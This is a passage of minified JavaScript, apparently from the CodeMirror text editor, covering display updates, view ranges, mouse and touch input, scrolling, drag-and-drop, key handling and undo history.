gi=gk.cm,gj=gi.display;if(gk.updatedDisplay){ba(gi)}gk.barMeasure=dB(gi);if(gj.maxLineChanged&&!gi.options.lineWrapping){gk.adjustWidthTo=ei(gi,gj.maxLine,gj.maxLine.text.length).left+3;gi.display.sizerWidth=gk.adjustWidthTo;gk.barMeasure.scrollWidth=Math.max(gj.scroller.clientWidth,gj.sizer.offsetLeft+gk.adjustWidthTo+cU(gi)+gi.display.barWidth);gk.maxScrollLeft=Math.max(0,gj.sizer.offsetLeft+gk.adjustWidthTo-dm(gi))}if(gk.updatedDisplay||gk.selectionChanged){gk.preparedSelection=gj.input.prepareSelection()}}function ap(gj){var gi=gj.cm;if(gj.adjustWidthTo!=null){gi.display.sizer.style.minWidth=gj.adjustWidthTo+"px";if(gj.maxScrollLeft<gi.doc.scrollLeft){bF(gi,Math.min(gi.display.scroller.scrollLeft,gj.maxScrollLeft),true)}gi.display.maxLineChanged=false}if(gj.preparedSelection){gi.display.input.showSelection(gj.preparedSelection)}if(gj.updatedDisplay){dA(gi,gj.barMeasure)}if(gj.updatedDisplay||gj.startHeight!=gi.doc.height){eZ(gi,gj.barMeasure)}if(gj.selectionChanged){o(gi)}if(gi.state.focused&&gj.updateInput){gi.display.input.reset(gj.typing)}if(gj.focus&&gj.focus==dP()){r(gj.cm)}}function e1(gp){var gi=gp.cm,gn=gi.display,gm=gi.doc;if(gp.updatedDisplay){ck(gi,gp.update)}if(gn.wheelStartX!=null&&(gp.scrollTop!=null||gp.scrollLeft!=null||gp.scrollToPos)){gn.wheelStartX=gn.wheelStartY=null}if(gp.scrollTop!=null&&(gn.scroller.scrollTop!=gp.scrollTop||gp.forceScroll)){gm.scrollTop=Math.max(0,Math.min(gn.scroller.scrollHeight-gn.scroller.clientHeight,gp.scrollTop));gn.scrollbars.setScrollTop(gm.scrollTop);gn.scroller.scrollTop=gm.scrollTop}if(gp.scrollLeft!=null&&(gn.scroller.scrollLeft!=gp.scrollLeft||gp.forceScroll)){gm.scrollLeft=Math.max(0,Math.min(gn.scroller.scrollWidth-dm(gi),gp.scrollLeft));gn.scrollbars.setScrollLeft(gm.scrollLeft);gn.scroller.scrollLeft=gm.scrollLeft;eF(gi)}if(gp.scrollToPos){var gl=D(gi,fK(gm,gp.scrollToPos.from),fK(gm,gp.scrollToPos.to),gp.scrollToPos.margin);if(gp.scrollToPos.isCursor&&gi.state.focused){d7(gi,gl)}}var gk=gp.maybeHiddenMarkers,go=gp.maybeUnhiddenMarkers;if(gk){for(var gj=0;gj<gk.length;++gj){if(!gk[gj].lines.length){aE(gk[gj],"hide")}}}if(go){for(var gj=0;gj<go.length;++gj){if(go[gj].lines.length){aE(go[gj],"unhide")}}}if(gn.wrapper.offsetHeight){gm.scrollTop=gi.display.scroller.scrollTop}if(gp.changeObjs){aE(gi,"changes",gi,gp.changeObjs)}if(gp.update){gp.update.finish()}}function cN(gi,gj){if(gi.curOp){return gj()}cJ(gi);try{return gj()}finally{am(gi)}}function c3(gi,gj){return function(){if(gi.curOp){return gj.apply(gi,arguments)}cJ(gi);try{return gj.apply(gi,arguments)}finally{am(gi)}}}function c9(gi){return function(){if(this.curOp){return gi.apply(this,arguments)}cJ(this);try{return gi.apply(this,arguments)}finally{am(this)}}}function cE(gi){return function(){var gj=this.cm;if(!gj||gj.curOp){return gi.apply(this,arguments)}cJ(gj);try{return gi.apply(this,arguments)}finally{am(gj)}}}function bw(gk,gi,gj){this.line=gi;this.rest=g(gi);this.size=this.rest?bO(fH(this.rest))-gj+1:1;this.node=this.text=null;this.hidden=fx(gk,gi)}function eW(gi,go,gn){var gm=[],gk;for(var gl=go;gl<gn;gl=gk){var gj=new bw(gi.doc,fg(gi.doc,gl),gl);gk=gl+gj.size;gm.push(gj)}return gm}function ah(gp,gn,go,gq){if(gn==null){gn=gp.doc.first}if(go==null){go=gp.doc.first+gp.doc.size}if(!gq){gq=0}var gk=gp.display;if(gq&&go<gk.viewTo&&(gk.updateLineNumbers==null||gk.updateLineNumbers>gn)){gk.updateLineNumbers=gn}gp.curOp.viewChanged=true;if(gn>=gk.viewTo){if(a8&&aW(gp.doc,gn)<gk.viewTo){ey(gp)}}else{if(go<=gk.viewFrom){if(a8&&d3(gp.doc,go+gq)>gk.viewFrom){ey(gp)}else{gk.viewFrom+=gq;gk.viewTo+=gq}}else{if(gn<=gk.viewFrom&&go>=gk.viewTo){ey(gp)}else{if(gn<=gk.viewFrom){var gm=df(gp,go,go+gq,1);if(gm){gk.view=gk.view.slice(gm.index);gk.viewFrom=gm.lineN;gk.viewTo+=gq}else{ey(gp)}}else{if(go>=gk.viewTo){var gm=df(gp,gn,gn,-1);if(gm){gk.view=gk.view.slice(0,gm.index);gk.viewTo=gm.lineN}else{ey(gp)}}else{var gl=df(gp,gn,gn,-1);var gj=df(gp,go,go+gq,1);if(gl&&gj){gk.view=gk.view.slice(0,gl.index).concat(eW(gp,gl.lineN,gj.lineN)).concat(gk.view.slice(gj.index));gk.viewTo+=gq}else{ey(gp)}}}}}}var gi=gk.externalMeasured;if(gi){if(go<gi.lineN){gi.lineN+=gq}else{if(gn<gi.lineN+gi.size){gk.externalMeasured=null}}}}function R(gj,gk,gn){gj.curOp.viewChanged=true;var go=gj.display,gm=gj.display.externalMeasured;if(gm&&gk>=gm.lineN&&gk<gm.lineN+gm.size){go.externalMeasured=null}if(gk<go.viewFrom||gk>=go.viewTo){return}var gl=go.view[ds(gj,gk)];if(gl.node==null){return}var gi=gl.changes||(gl.changes=[]);if(di(gi,gn)==-1){gi.push(gn)}}function ey(gi){gi.display.viewFrom=gi.display.viewTo=gi.doc.first;gi.display.view=[];gi.display.viewOffset=0}function ds(gi,gl){if(gl>=gi.display.viewTo){return null}gl-=gi.display.viewFrom;if(gl<0){return null}var gj=gi.display.view;for(var gk=0;gk<gj.length;gk++){gl-=gj[gk].size;if(gl<0){return gk}}}function df(gq,gk,gm,gj){var gn=ds(gq,gk),gp,go=gq.display.view;if(!a8||gm==gq.doc.first+gq.doc.size){return{index:gn,lineN:gm}}for(var gl=0,gi=gq.display.viewFrom;gl<gn;gl++){gi+=go[gl].size}if(gi!=gk){if(gj>0){if(gn==go.length-1){return null}gp=(gi+go[gn].size)-gk;gn++}else{gp=gi-gk}gk+=gp;gm+=gp}while(aW(gq.doc,gm)!=gm){if(gn==(gj<0?0:go.length-1)){return null}gm+=gj*go[gn-(gj<0?1:0)].size;gn+=gj}return{index:gn,lineN:gm}}function cS(gi,gm,gl){var gk=gi.display,gj=gk.view;if(gj.length==0||gm>=gk.viewTo||gl<=gk.viewFrom){gk.view=eW(gi,gm,gl);gk.viewFrom=gm}else{if(gk.viewFrom>gm){gk.view=eW(gi,gm,gk.viewFrom).concat(gk.view)}else{if(gk.viewFrom<gm){gk.view=gk.view.slice(ds(gi,gm))}}gk.viewFrom=gm;if(gk.viewTo<gl){gk.view=gk.view.concat(eW(gi,gk.viewTo,gl))}else{if(gk.viewTo>gl){gk.view=gk.view.slice(0,ds(gi,gl))}}}gk.viewTo=gl}function dc(gi){var gj=gi.display.view,gm=0;for(var gl=0;gl<gj.length;gl++){var gk=gj[gl];if(!gk.hidden&&(!gk.node||gk.changes)){++gm}}return gm}function fR(gj){var gn=gj.display;bY(gn.scroller,"mousedown",c3(gj,ev));if(dL&&k<11){bY(gn.scroller,"dblclick",c3(gj,function(gr){if(aR(gj,gr)){return}var gs=co(gj,gr);if(!gs||l(gj,gr)||bc(gj.display,gr)){return}cH(gr);var gq=gj.findWordAt(gs);fX(gj.doc,gq.anchor,gq.head)}))}else{bY(gn.scroller,"dblclick",function(gq){aR(gj,gq)||cH(gq)})}if(!ga){bY(gn.scroller,"contextmenu",function(gq){ay(gj,gq)})}var gp,gi={end:0};function go(){if(gn.activeTouch){gp=setTimeout(function(){gn.activeTouch=null},1000);gi=gn.activeTouch;gi.end=+new Date}}function gl(gq){if(gq.touches.length!=1){return false}var gr=gq.touches[0];return gr.radiusX<=1&&gr.radiusY<=1}function gk(gt,gq){if(gq.left==null){return true}var gs=gq.left-gt.left,gr=gq.top-gt.top;return gs*gs+gr*gr>20*20}bY(gn.scroller,"touchstart",function(gr){if(!gl(gr)){clearTimeout(gp);var gq=+new Date;gn.activeTouch={start:gq,moved:false,prev:gq-gi.end<=300?gi:null};if(gr.touches.length==1){gn.activeTouch.left=gr.touches[0].pageX;gn.activeTouch.top=gr.touches[0].pageY}}});bY(gn.scroller,"touchmove",function(){if(gn.activeTouch){gn.activeTouch.moved=true}});bY(gn.scroller,"touchend",function(gr){var gt=gn.activeTouch;if(gt&&!bc(gn,gr)&&gt.left!=null&&!gt.moved&&new Date-gt.start<300){var gs=gj.coordsChar(gn.activeTouch,"page"),gq;if(!gt.prev||gk(gt,gt.prev)){gq=new dZ(gs,gs)}else{if(!gt.prev.prev||gk(gt,gt.prev.prev)){gq=gj.findWordAt(gs)}else{gq=new dZ(W(gs.line,0),fK(gj.doc,W(gs.line+1,0)))}}gj.setSelection(gq.anchor,gq.head);gj.focus();cH(gr)}go()});bY(gn.scroller,"touchcancel",go);bY(gn.scroller,"scroll",function(){if(gn.scroller.clientHeight){N(gj,gn.scroller.scrollTop);bF(gj,gn.scroller.scrollLeft,true);aE(gj,"scroll",gj)}});bY(gn.scroller,"mousewheel",function(gq){b(gj,gq)});bY(gn.scroller,"DOMMouseScroll",function(gq){b(gj,gq)});bY(gn.wrapper,"scroll",function(){gn.wrapper.scrollTop=gn.wrapper.scrollLeft=0});gn.dragFunctions={simple:function(gq){if(!aR(gj,gq)){es(gq)}},start:function(gq){Q(gj,gq)},drop:c3(gj,bl)};var gm=gn.input.getField();bY(gm,"keyup",function(gq){bj.call(gj,gq)});bY(gm,"keydown",c3(gj,p));bY(gm,"keypress",c3(gj,cy));bY(gm,"focus",cw(cC,gj));bY(gm,"blur",cw(aV,gj))}function f1(gj,gm,gk){var gn=gk&&gk!=H.Init;if(!gm!=!gn){var gl=gj.display.dragFunctions;var gi=gm?bY:ee;gi(gj.display.scroller,"dragstart",gl.start);gi(gj.display.scroller,"dragenter",gl.simple);gi(gj.display.scroller,"dragover",gl.simple);gi(gj.display.scroller,"drop",gl.drop)}}function aT(gi){var gj=gi.display;if(gj.lastWrapHeight==gj.wrapper.clientHeight&&gj.lastWrapWidth==gj.wrapper.clientWidth){return}gj.cachedCharWidth=gj.cachedTextHeight=gj.cachedPaddingH=null;gj.scrollbarsClipped=false;gi.setSize()}function bc(gj,gi){for(var gk=L(gi);gk!=gj.wrapper;gk=gk.parentNode){if(!gk||(gk.nodeType==1&&gk.getAttribute("cm-ignore-events")=="true")||(gk.parentNode==gj.sizer&&gk!=gj.mover)){return true}}}function co(gr,gm,gj,gk){var gn=gr.display;if(!gj&&L(gm).getAttribute("cm-not-content")=="true"){return null}var gq,go,gi=gn.lineSpace.getBoundingClientRect();try{gq=gm.clientX-gi.left;go=gm.clientY-gi.top}catch(gm){return null}var gp=fP(gr,gq,go),gs;if(gk&&gp.xRel==1&&(gs=fg(gr.doc,gp.line).text).length==gp.ch){var gl=bU(gs,gs.length,gr.options.tabSize)-gs.length;gp=W(gp.line,Math.max(0,Math.round((gq-e6(gr.display).left)/dE(gr.display))-gl))}return gp}function ev(gk){var gi=this,gj=gi.display;if(gj.activeTouch&&gj.input.supportsTouch()||aR(gi,gk)){return}gj.shift=gk.shiftKey;if(bc(gj,gk)){if(!c1){gj.scroller.draggable=false;setTimeout(function(){gj.scroller.draggable=true},100)}return}if(l(gi,gk)){return}var gl=co(gi,gk);window.focus();switch(fO(gk)){case 1:if(gl){ax(gi,gk,gl)}else{if(L(gk)==gj.scroller){cH(gk)}}break;case 2:if(c1){gi.state.lastMiddleDown=+new Date}if(gl){fX(gi.doc,gl)}setTimeout(function(){gj.input.focus()},20);cH(gk);break;case 3:if(ga){ay(gi,gk)}else{al(gi)}break}}var dp,de;function ax(gj,go,gp){if(dL){setTimeout(cw(r,gj),0)}else{gj.curOp.focus=dP()}var gk=+new Date,gm;if(de&&de.time>gk-400&&cg(de.pos,gp)==0){gm="triple"}else{if(dp&&dp.time>gk-400&&cg(dp.pos,gp)==0){gm="double";de={time:gk,pos:gp}}else{gm="single";dp={time:gk,pos:gp}}}var gn=gj.doc.sel,gi=b8?go.metaKey:go.ctrlKey,gl;if(gj.options.dragDrop&&eM&&!aj(gj)&&gm=="single"&&(gl=gn.contains(gp))>-1&&(cg((gl=gn.ranges[gl]).from(),gp)<0||gp.xRel>0)&&(cg(gl.to(),gp)>0||gp.xRel<0)){a4(gj,go,gp,gi)}else{m(gj,go,gp,gm,gi)}}function a4(gk,gn,go,gj){var gm=gk.display,gl=+new Date;var gi=c3(gk,function(gp){if(c1){gm.scroller.draggable=false}gk.state.draggingText=false;ee(document,"mouseup",gi);ee(gm.scroller,"drop",gi);if(Math.abs(gn.clientX-gp.clientX)+Math.abs(gn.clientY-gp.clientY)<10){cH(gp);if(!gj&&+new Date-200<gl){fX(gk.doc,go)}if(c1||dL&&k==9){setTimeout(function(){document.body.focus();gm.input.focus()},20)}else{gm.input.focus()}}});if(c1){gm.scroller.draggable=true}gk.state.draggingText=gi;if(gm.scroller.dragDrop){gm.scroller.dragDrop()}bY(document,"mouseup",gi);bY(gm.scroller,"drop",gi)}function m(gm,gA,gl,gj,go){var gx=gm.display,gC=gm.doc;cH(gA);var gk,gB,gn=gC.sel,gi=gn.ranges;if(go&&!gA.shiftKey){gB=gC.sel.contains(gl);if(gB>-1){gk=gi[gB]}else{gk=new dZ(gl,gl)}}else{gk=gC.sel.primary();gB=gC.sel.primIndex}if(gA.altKey){gj="rect";if(!go){gk=new dZ(gl,gl)}gl=co(gm,gA,true,true);gB=-1}else{if(gj=="double"){var gy=gm.findWordAt(gl);if(gm.display.shift||gC.extend){gk=fw(gC,gk,gy.anchor,gy.head)}else{gk=gy}}else{if(gj=="triple"){var gr=new dZ(W(gl.line,0),fK(gC,W(gl.line+1,0)));if(gm.display.shift||gC.extend){gk=fw(gC,gk,gr.anchor,gr.head)}else{gk=gr}}else{gk=fw(gC,gk,gl)}}}if(!go){gB=0;bV(gC,new f4([gk],0),M);gn=gC.sel}else{if(gB==-1){gB=gi.length;bV(gC,cx(gi.concat([gk]),gB),{scroll:false,origin:"*mouse"})}else{if(gi.length>1&&gi[gB].empty()&&gj=="single"&&!gA.shiftKey){bV(gC,cx(gi.slice(0,gB).concat(gi.slice(gB+1)),0));gn=gC.sel}else{e(gC,gB,gk,M)}}}var gw=gl;function gv(gN){if(cg(gw,gN)==0){return}gw=gN;if(gj=="rect"){var gE=[],gK=gm.options.tabSize;var gD=bU(fg(gC,gl.line).text,gl.ch,gK);var gQ=bU(fg(gC,gN.line).text,gN.ch,gK);var gF=Math.min(gD,gQ),gO=Math.max(gD,gQ);for(var gR=Math.min(gl.line,gN.line),gH=Math.min(gm.lastLine(),Math.max(gl.line,gN.line));gR<=gH;gR++){var gP=fg(gC,gR).text,gG=er(gP,gF,gK);if(gF==gO){gE.push(new dZ(W(gR,gG),W(gR,gG)))}else{if(gP.length>gG){gE.push(new dZ(W(gR,gG),W(gR,er(gP,gO,gK))))}}}if(!gE.length){gE.push(new dZ(gl,gl))}bV(gC,cx(gn.ranges.slice(0,gB).concat(gE),gB),{origin:"*mouse",scroll:false});gm.scrollIntoView(gN)}else{var gL=gk;var gI=gL.anchor,gM=gN;if(gj!="single"){if(gj=="double"){var gJ=gm.findWordAt(gN)}else{var gJ=new dZ(W(gN.line,0),fK(gC,W(gN.line+1,0)))}if(cg(gJ.anchor,gI)>0){gM=gJ.head;gI=ar(gL.from(),gJ.anchor)}else{gM=gJ.anchor;gI=by(gL.to(),gJ.head)}}var gE=gn.ranges.slice(0);gE[gB]=new dZ(fK(gC,gI),gM);bV(gC,cx(gE,gB),M)}}var gt=gx.wrapper.getBoundingClientRect();var gp=0;function gz(gF){var gD=++gp;var gH=co(gm,gF,true,gj=="rect");if(!gH){return}if(cg(gH,gw)!=0){gm.curOp.focus=dP();gv(gH);var gG=b7(gx,gC);if(gH.line>=gG.to||gH.line<gG.from){setTimeout(c3(gm,function(){if(gp==gD){gz(gF)}}),150)}}else{var gE=gF.clientY<gt.top?-20:gF.clientY>gt.bottom?20:0;if(gE){setTimeout(c3(gm,function(){if(gp!=gD){return}gx.scroller.scrollTop+=gE;gz(gF)}),50)}}}function gs(gD){gp=Infinity;cH(gD);gx.input.focus();ee(document,"mousemove",gu);ee(document,"mouseup",gq);gC.history.lastSelOrigin=null}var gu=c3(gm,function(gD){if(!fO(gD)){gs(gD)}else{gz(gD)}});var gq=c3(gm,gs);bY(document,"mousemove",gu);bY(document,"mouseup",gq)}function gg(gt,gp,gr,gs,gl){try{var gj=gp.clientX,gi=gp.clientY}catch(gp){return false}if(gj>=Math.floor(gt.display.gutters.getBoundingClientRect().right)){return false}if(gs){cH(gp)}var gq=gt.display;var go=gq.lineDiv.getBoundingClientRect();if(gi>go.bottom||!fj(gt,gr)){return bM(gp)}gi-=go.top-gq.viewOffset;for(var gm=0;gm<gt.options.gutters.length;++gm){var gn=gq.gutters.childNodes[gm];if(gn&&gn.getBoundingClientRect().right>=gj){var gu=bH(gt.doc,gi);var gk=gt.options.gutters[gm];gl(gt,gr,gt,gu,gk,gp);return bM(gp)}}}function l(gi,gj){return gg(gi,gj,"gutterClick",true,ae)}var ag=0;function bl(go){var gq=this;if(aR(gq,go)||bc(gq.display,go)){return}cH(go);if(dL){ag=+new Date}var gp=co(gq,go,true),gi=go.dataTransfer.files;if(!gp||aj(gq)){return}if(gi&&gi.length&&window.FileReader&&window.File){var gk=gi.length,gr=Array(gk),gj=0;var gm=function(gu,gt){var gs=new FileReader;gs.onload=c3(gq,function(){gr[gt]=gs.result;if(++gj==gk){gp=fK(gq.doc,gp);var gv={from:gp,to:gp,text:a1(gr.join("\n")),origin:"paste"};bh(gq.doc,gv);e8(gq.doc,eT(gp,cY(gv)))}});gs.readAsText(gu)};for(var gn=0;gn<gk;++gn){gm(gi[gn],gn)}}else{if(gq.state.draggingText&&gq.doc.sel.contains(gp)>-1){gq.state.draggingText(go);setTimeout(function(){gq.display.input.focus()},20);return}try{var gr=go.dataTransfer.getData("Text");if(gr){if(gq.state.draggingText&&!(b8?go.altKey:go.ctrlKey)){var gl=gq.listSelections()}eq(gq.doc,eT(gp,gp));if(gl){for(var gn=0;gn<gl.length;++gn){a2(gq.doc,"",gl[gn].anchor,gl[gn].head,"drag")}}gq.replaceSelection(gr,"around","paste");gq.display.input.focus()}}catch(go){}}}function Q(gi,gk){if(dL&&(!gi.state.draggingText||+new Date-ag<100)){es(gk);return}if(aR(gi,gk)||bc(gi.display,gk)){return}gk.dataTransfer.setData("Text",gi.getSelection());if(gk.dataTransfer.setDragImage&&!aC){var gj=f3("img",null,null,"position: fixed; left: 0; top: 0;");gj.src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==";if(d4){gj.width=gj.height=1;gi.display.wrapper.appendChild(gj);gj._top=gj.offsetTop}gk.dataTransfer.setDragImage(gj,0,0);if(d4){gj.parentNode.removeChild(gj)}}}function N(gi,gj){if(Math.abs(gi.doc.scrollTop-gj)<2){return}gi.doc.scrollTop=gj;if(!cp){dU(gi,{top:gj})}if(gi.display.scroller.scrollTop!=gj){gi.display.scroller.scrollTop=gj}gi.display.scrollbars.setScrollTop(gj);if(cp){dU(gi)}eg(gi,100)}function bF(gi,gk,gj){if(gj?gk==gi.doc.scrollLeft:Math.abs(gi.doc.scrollLeft-gk)<2){return}gk=Math.min(gk,gi.display.scroller.scrollWidth-gi.display.scroller.clientWidth);gi.doc.scrollLeft=gk;eF(gi);if(gi.display.scroller.scrollLeft!=gk){gi.display.scroller.scrollLeft=gk}gi.display.scrollbars.setScrollLeft(gk)}var fn=0,ch=null;if(dL){ch=-0.53}else{if(cp){ch=15}else{if(dd){ch=-0.7}else{if(aC){ch=-1/3}}}}var cR=function(gk){var gj=gk.wheelDeltaX,gi=gk.wheelDeltaY;if(gj==null&&gk.detail&&gk.axis==gk.HORIZONTAL_AXIS){gj=gk.detail}if(gi==null&&gk.detail&&gk.axis==gk.VERTICAL_AXIS){gi=gk.detail}else{if(gi==null){gi=gk.wheelDelta}}return{x:gj,y:gi}};H.wheelEventPixels=function(gi){var gj=cR(gi);gj.x*=ch;gj.y*=ch;return gj};function b(gq,gk){var gr=cR(gk),gu=gr.x,gt=gr.y;var gm=gq.display,gp=gm.scroller;if(!(gu&&gp.scrollWidth>gp.clientWidth||gt&&gp.scrollHeight>gp.clientHeight)){return}if(gt&&b8&&c1){outer:for(var gs=gk.target,go=gm.view;gs!=gp;gs=gs.parentNode){for(var gj=0;gj<go.length;gj++){if(go[gj].node==gs){gq.display.currentWheelTarget=gs;break outer}}}}if(gu&&!cp&&!d4&&ch!=null){if(gt){N(gq,Math.max(0,Math.min(gp.scrollTop+gt*ch,gp.scrollHeight-gp.clientHeight)))}bF(gq,Math.max(0,Math.min(gp.scrollLeft+gu*ch,gp.scrollWidth-gp.clientWidth)));cH(gk);gm.wheelStartX=null;return}if(gt&&ch!=null){var gi=gt*ch;var gn=gq.doc.scrollTop,gl=gn+gm.wrapper.clientHeight;if(gi<0){gn=Math.max(0,gn+gi-50)}else{gl=Math.min(gq.doc.height,gl+gi+50)}dU(gq,{top:gn,bottom:gl})}if(fn<20){if(gm.wheelStartX==null){gm.wheelStartX=gp.scrollLeft;gm.wheelStartY=gp.scrollTop;gm.wheelDX=gu;gm.wheelDY=gt;setTimeout(function(){if(gm.wheelStartX==null){return}var gv=gp.scrollLeft-gm.wheelStartX;var gx=gp.scrollTop-gm.wheelStartY;var gw=(gx&&gm.wheelDY&&gx/gm.wheelDY)||(gv&&gm.wheelDX&&gv/gm.wheelDX);gm.wheelStartX=gm.wheelStartY=null;if(!gw){return}ch=(ch*fn+gw)/(fn+1);++fn},200)}else{gm.wheelDX+=gu;gm.wheelDY+=gt}}}function fS(gj,gm,gi){if(typeof gm=="string"){gm=eE[gm];if(!gm){return false}}gj.display.input.ensurePolled();var gl=gj.display.shift,gk=false;try{if(aj(gj)){gj.state.suppressEdits=true}if(gi){gj.display.shift=false}gk=gm(gj)!=cb}finally{gj.display.shift=gl;gj.state.suppressEdits=false}return gk}function eb(gj,gk,gm){for(var gl=0;gl<gj.state.keyMaps.length;gl++){var gi=i(gk,gj.state.keyMaps[gl],gm,gj);if(gi){return gi}}return(gj.options.extraKeys&&i(gk,gj.options.extraKeys,gm,gj))||i(gk,gj.options.keyMap,gm,gj)}var dN=new gh;function be(gj,gl,gn,gm){var gk=gj.state.keySeq;if(gk){if(eD(gl)){return"handled"}dN.set(50,function(){if(gj.state.keySeq==gk){gj.state.keySeq=null;gj.display.input.reset()}});gl=gk+" "+gl}var gi=eb(gj,gl,gm);if(gi=="multi"){gj.state.keySeq=gl}if(gi=="handled"){ae(gj,"keyHandled",gj,gl,gn)}if(gi=="handled"||gi=="multi"){cH(gn);o(gj)}if(gk&&!gi&&/\'$/.test(gl)){cH(gn);return true}return !!gi}function fk(gi,gk){var gj=fs(gk,true);if(!gj){return false}if(gk.shiftKey&&!gi.state.keySeq){return be(gi,"Shift-"+gj,gk,function(gl){return fS(gi,gl,true)})||be(gi,gj,gk,function(gl){if(typeof gl=="string"?/^go[A-Z]/.test(gl):gl.motion){return fS(gi,gl)}})}else{return be(gi,gj,gk,function(gl){return fS(gi,gl)})}}function ek(gi,gk,gj){return be(gi,"'"+gj+"'",gk,function(gl){return fS(gi,gl,true)})}var dn=null;function p(gl){var gi=this;gi.curOp.focus=dP();if(aR(gi,gl)){return}if(dL&&k<11&&gl.keyCode==27){gl.returnValue=false}var gj=gl.keyCode;gi.display.shift=gj==16||gl.shiftKey;var gk=fk(gi,gl);if(d4){dn=gk?gj:null;if(!gk&&gj==88&&!db&&(b8?gl.metaKey:gl.ctrlKey)){gi.replaceSelection("",null,"cut")}}if(gj==18&&!/\bCodeMirror-crosshair\b/.test(gi.display.lineDiv.className)){av(gi)}}function av(gj){var gk=gj.display.lineDiv;fB(gk,"CodeMirror-crosshair");function gi(gl){if(gl.keyCode==18||!gl.altKey){f(gk,"CodeMirror-crosshair");ee(document,"keyup",gi);ee(document,"mouseover",gi)}}bY(document,"keyup",gi);bY(document,"mouseover",gi)}function bj(gi){if(gi.keyCode==16){this.doc.sel.shift=false}aR(this,gi)}function cy(gm){var gi=this;if(bc(gi.display,gm)||aR(gi,gm)||gm.ctrlKey&&!gm.altKey||b8&&gm.metaKey){return}var gl=gm.keyCode,gj=gm.charCode;if(d4&&gl==dn){dn=null;cH(gm);return}if((d4&&(!gm.which||gm.which<10))&&fk(gi,gm)){return}var gk=String.fromCharCode(gj==null?gl:gj);if(ek(gi,gm,gk)){return}gi.display.input.onKeyPress(gm)}function al(gi){gi.state.delayingBlurEvent=true;setTimeout(function(){if(gi.state.delayingBlurEvent){gi.state.delayingBlurEvent=false;aV(gi)}},100)}function cC(gi){if(gi.state.delayingBlurEvent){gi.state.delayingBlurEvent=false}if(gi.options.readOnly=="nocursor"){return}if(!gi.state.focused){aE(gi,"focus",gi);gi.state.focused=true;fB(gi.display.wrapper,"CodeMirror-focused");if(!gi.curOp&&gi.display.selForContextMenu!=gi.doc.sel){gi.display.input.reset();if(c1){setTimeout(function(){gi.display.input.reset(true)},20)}}gi.display.input.receivedFocus()}o(gi)}function aV(gi){if(gi.state.delayingBlurEvent){return}if(gi.state.focused){aE(gi,"blur",gi);gi.state.focused=false;f(gi.display.wrapper,"CodeMirror-focused")}clearInterval(gi.display.blinker);setTimeout(function(){if(!gi.state.focused){gi.display.shift=false}},150)}function ay(gi,gj){if(bc(gi.display,gj)||dh(gi,gj)){return}gi.display.input.onContextMenu(gj)}function dh(gi,gj){if(!fj(gi,"gutterContextMenu")){return false}return gg(gi,gj,"gutterContextMenu",false,aE)}var cY=H.changeEnd=function(gi){if(!gi.text){return gi.to}return W(gi.from.line+gi.text.length-1,fH(gi.text).length+(gi.text.length==1?gi.from.ch:0))};function b0(gl,gk){if(cg(gl,gk.from)<0){return gl}if(cg(gl,gk.to)<=0){return cY(gk)}var gi=gl.line+gk.text.length-(gk.to.line-gk.from.line)-1,gj=gl.ch;if(gl.line==gk.to.line){gj+=cY(gk).ch-gk.to.ch}return W(gi,gj)}function fl(gl,gm){var gj=[];for(var gk=0;gk<gl.sel.ranges.length;gk++){var gi=gl.sel.ranges[gk];gj.push(new dZ(b0(gi.anchor,gm),b0(gi.head,gm)))}return cx(gj,gl.sel.primIndex)}function bv(gk,gj,gi){if(gk.line==gj.line){return W(gi.line,gk.ch-gj.ch+gi.ch)}else{return W(gi.line+(gk.line-gj.line),gk.ch)}}function af(gs,gp,gj){var gk=[];var gi=W(gs.first,0),gt=gi;for(var gm=0;gm<gp.length;gm++){var go=gp[gm];var gr=bv(go.from,gi,gt);var gq=bv(cY(go),gi,gt);gi=go.to;gt=gq;if(gj=="around"){var gn=gs.sel.ranges[gm],gl=cg(gn.head,gn.anchor)<0;gk[gm]=new dZ(gl?gq:gr,gl?gr:gq)}else{gk[gm]=new dZ(gr,gr)}}return new f4(gk,gs.sel.primIndex)}function dS(gj,gl,gk){var gi={canceled:false,from:gl.from,to:gl.to,text:gl.text,origin:gl.origin,cancel:function(){this.canceled=true}};if(gk){gi.update=function(gp,go,gn,gm){if(gp){this.from=fK(gj,gp)}if(go){this.to=fK(gj,go)}if(gn){this.text=gn}if(gm!==undefined){this.origin=gm}}}aE(gj,"beforeChange",gj,gi);if(gj.cm){aE(gj.cm,"beforeChange",gj.cm,gi)}if(gi.canceled){return null}return{from:gi.from,to:gi.to,text:gi.text,origin:gi.origin}}function bh(gl,gm,gk){if(gl.cm){if(!gl.cm.curOp){return c3(gl.cm,bh)(gl,gm,gk)}if(gl.cm.state.suppressEdits){return}}if(fj(gl,"beforeChange")||gl.cm&&fj(gl.cm,"beforeChange")){gm=dS(gl,gm,true);if(!gm){return}}var gj=gd&&!gk&&cI(gl,gm.from,gm.to);if(gj){for(var gi=gj.length-1;gi>=0;--gi){K(gl,{from:gj[gi].from,to:gj[gi].to,text:gi?[""]:gm.text})}}else{K(gl,gm)}}function K(gk,gl){if(gl.text.length==1&&gl.text[0]==""&&cg(gl.from,gl.to)==0){return}var gj=fl(gk,gl);fN(gk,gl,gj,gk.cm?gk.cm.curOp.id:NaN);ef(gk,gl,gj,el(gk,gl));var gi=[];d8(gk,function(gn,gm){if(!gm&&di(gi,gn.history)==-1){dF(gn.history,gl);gi.push(gn.history)}ef(gn,gl,null,el(gn,gl))})}function b9(gt,gr,gv){if(gt.cm&&gt.cm.state.suppressEdits){return}var gq=gt.history,gk,gm=gt.sel;var gi=gr=="undo"?gq.done:gq.undone,gu=gr=="undo"?gq.undone:gq.done;for(var gn=0;gn<gi.length;gn++){gk=gi[gn];if(gv?gk.ranges&&!gk.equals(gt.sel):!gk.ranges){break}}if(gn==gi.length){return}gq.lastOrigin=gq.lastSelOrigin=null;for(;;){gk=gi.pop();if(gk.ranges){cO(gk,gu);if(gv&&!gk.equals(gt.sel)){bV(gt,gk,{clearRedo:false});return}gm=gk}else{break}}var gp=[];cO(gm,gu);gu.push({changes:gp,generation:gq.generation});gq.generation=gk.generation||++gq.maxGeneration;var gl=fj(gt,"beforeChange")||gt.cm&&fj(gt.cm,"beforeChange");for(var gn=gk.changes.length-1;gn>=0;--gn){var gs=gk.changes[gn];gs.origin=gr;if(gl&&!dS(gt,gs,false)){gi.length=0;return}gp.push(dv(gt,gs));var gj=gn?fl(gt,gs):fH(gi);ef(gt,gs,gj,ea(gt,gs));if(!gn&&gt.cm){gt.cm.scrollIntoView({from:gs.from,to:cY(gs)})}var 